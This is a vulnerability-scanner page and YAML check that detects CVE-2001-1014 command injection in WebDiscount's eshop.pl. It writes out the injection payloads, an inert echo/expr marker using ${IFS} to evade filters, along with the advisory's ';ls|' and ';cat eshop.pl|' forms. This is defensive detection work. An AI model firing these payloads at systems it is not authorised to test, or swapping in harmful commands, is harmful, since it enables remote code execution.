WebDiscount (e)shop — 1 vulnerability check
noctis ships 1 vulnerability check for WebDiscount (e)shop, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
WebDiscount (e)shop eshop.pl Command Execution
| CVE | CVE-2001-1014 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/webdiscount-eshop/CVE-2001-1014.yaml |
Detects unauthenticated command execution in eshop.pl of the WebDiscount (e)shop Online-Shop System (CVE-2001-1014). The script opens the page named by its seite parameter with Perl's two-argument open() without filtering shell metacharacters, so a value such as ";command|" runs a shell command as the web server user and prints its output in the page. The feed requests eshop.pl under /cgi-bin, /cgi-local and the web root, passing seite=;echo NOCTIS`expr a - b`| (per-run random numbers, spaces written as ${IFS}) first in the query string and then as path info (eshop.pl/seite=...). It reports only when the reply contains NOCTIS followed by the computed difference, which only real shell execution can produce. Nothing is read or written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/eshop.pl?seite=;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HT… - Checks
qs.bannerforNOCTIS→ finding QoD 97: eshop.pl command execution confirmed via GET …/eshop.pl?seite=;echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a difference absent fro… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{dir}}/eshop.pl/seite=;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HT… - Checks
pi.bannerforNOCTIS→ finding QoD 97: eshop.pl command execution confirmed via GET …/eshop.pl/seite=;echo NOCTIS`expr … - …`|: the shell printed NOCTIS… (a difference absent fro…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-1014
- https://seclists.org/bugtraq/2001/Sep/172
- http://www.securityfocus.com/bid/3340
Feed source — tests/vulnerabilities/webdiscount-eshop/CVE-2001-1014.yaml
# WebDiscount (e)shop Online-Shop System eshop.pl seite= command execution
# (CVE-2001-1014, BID 3340)
#
# Credit: target script and request shape adapted from Greenbone's
# `pre2008/eshop_information_disclosure.nasl` (GPL-2.0-only), which requests
# <dir>/eshop.pl/seite=;cat%20eshop.pl| under the web root, /cgi-local and the
# CGI dirs, and looks for the script's own `#!/.../perl` line in the reply.
# Original advisory (Kernel|X|, Bugtraq 2001-09-15, seclists.org/bugtraq/2001/Sep/172):
# host/cgi-bin/eshop.pl?seite=;ls|
# "Script doesnt check for symbol ";"" — the page name is opened with Perl's
# two-argument open(), so a value ending in `|` is run by /bin/sh as a read
# pipe and the command's output is printed as the page.
#
# This feed sends seite=;echo${IFS}NOCTIS`expr${IFS}<a>${IFS}-${IFS}<b>`|
# raw (a = 7-digit, b = 6-digit per-run random ints):
# * ${IFS} instead of spaces and no `%`/`+` in the payload: the same bytes
# reach the shell whether or not the script URL-decodes its input;
# * the difference a-b never appears in the request, so a page that reflects
# or strips the seite value cannot produce it.
#
# Better than the reference check: it also sends the advisory's query-string
# form (?seite=...), not only the PATH_INFO form (/eshop.pl/seite=...); it also
# looks under /cgi-bin; and it proves execution with an inert computed marker
# instead of reading the script's source, whose `#!/usr/bin/perl` line a web
# server that serves .pl files as plain text would also return.
uid: eb8be699-4d97-417a-829a-ff87e71b92dd
name: "WebDiscount (e)shop eshop.pl Command Execution (CVE-2001-1014)"
description: |
Detects unauthenticated command execution in eshop.pl of the WebDiscount
(e)shop Online-Shop System (CVE-2001-1014). The script opens the page named
by its seite parameter with Perl's two-argument open() without filtering
shell metacharacters, so a value such as ";command|" runs a shell command as
the web server user and prints its output in the page. The feed requests
eshop.pl under /cgi-bin, /cgi-local and the web root, passing
seite=;echo NOCTIS`expr a - b`| (per-run random numbers, spaces written as
${IFS}) first in the query string and then as path info
(eshop.pl/seite=...). It reports only when the reply contains NOCTIS
followed by the computed difference, which only real shell execution can
produce. Nothing is read or written on the target.
cves: [CVE-2001-1014]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [webdiscount, eshop, cgi, perl, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-1014"
- "https://seclists.org/bugtraq/2001/Sep/172"
- "http://www.securityfocus.com/bid/3340"
steps:
# a: 7 digits, b: 6 digits -> 7-digit difference, never equal to an operand.
- id: gen-tokens
action: script
code: |
let a = rand_int(5000000, 9999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, diff: "" + (a - b) }
store_as: ov
# ── Per location (CGI dirs + the web root): this step and every following one ──
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init
action: set_var
var_name: qs
var_value: {connected: false, banner: null}
loop:
over:
- "/cgi-bin"
- "/cgi-local"
- ""
var: dir
# Advisory form: eshop.pl?seite=;echo${IFS}NOCTIS`expr${IFS}a${IFS}-${IFS}b`|
- id: inject-query
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/eshop.pl?seite=;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10 # connect only; the reply is read for 3 s (checks/tcp.rs)
store_as: qs
- id: confirm-query
action: match
source: qs.banner
pattern: "NOCTIS"
condition: "type_of(qs.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", qs.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "eshop.pl command execution confirmed via GET {{dir}}/eshop.pl?seite=;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
stop: true
- id: init-pathinfo
action: set_var
var_name: pi
var_value: {connected: false, banner: null}
# Path-info form: eshop.pl/seite=;echo${IFS}NOCTIS`expr${IFS}a${IFS}-${IFS}b`|
- id: inject-pathinfo
action: tcp_connect
port: "{{port}}"
send: "GET {{dir}}/eshop.pl/seite=;echo${IFS}NOCTIS`expr${IFS}{{ov.a}}${IFS}-${IFS}{{ov.b}}`| HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: pi
- id: confirm-pathinfo
action: match
source: pi.banner
pattern: "NOCTIS"
condition: "type_of(pi.banner) == \"string\" && ereg(\"NOCTIS\" + ov.diff + \"([^0-9]|$)\", pi.banner)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "eshop.pl command execution confirmed via GET {{dir}}/eshop.pl/seite=;echo NOCTIS`expr {{ov.a}} - {{ov.b}}`|: the shell printed NOCTIS{{ov.diff}} (a difference absent from the request) in the reply"
stop: true